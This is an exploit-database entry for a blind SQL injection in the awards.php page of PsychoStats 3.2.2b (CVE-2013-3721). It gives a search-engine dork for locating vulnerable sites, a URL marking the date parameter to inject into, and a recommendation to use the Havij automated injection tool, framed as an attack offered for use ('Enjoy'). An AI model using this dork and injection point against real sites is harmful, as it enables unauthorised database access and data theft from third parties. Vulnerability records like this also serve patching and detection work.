PsychoStats 3.2.2b - 'awards.php' Blind SQL Injection
Author: Mohamed from ALG
type: webapps
platform: php
port:
date_added: 2013-03-27
date_updated: 2016-12-01
verified: 1
codes: OSVDB-91721;CVE-2013-3721
tags:
aliases:
screenshot_url:
application_url:
Exploit Title : PsychoStats awards.php blind SQL Injection
==============
Date: 27/03/2013 00:50
=====
Author: Mohamed from ALG
======
Vendor or Software Link:http://psychostats.us/
=======================
Version: 3.2.2b
========
Category: webapps
=========
Google Keywords: "Powered by PsychoStats 3.2.2b"
===============
contact: senderberd[at]gmail.com
========
exploit:
========
http://server/awards.php?d=YYYY-MM-DD{Inject hier your blind SQL injection}
Use Havij to easy exploit
Enjoy
S.Th To a El Koyot
end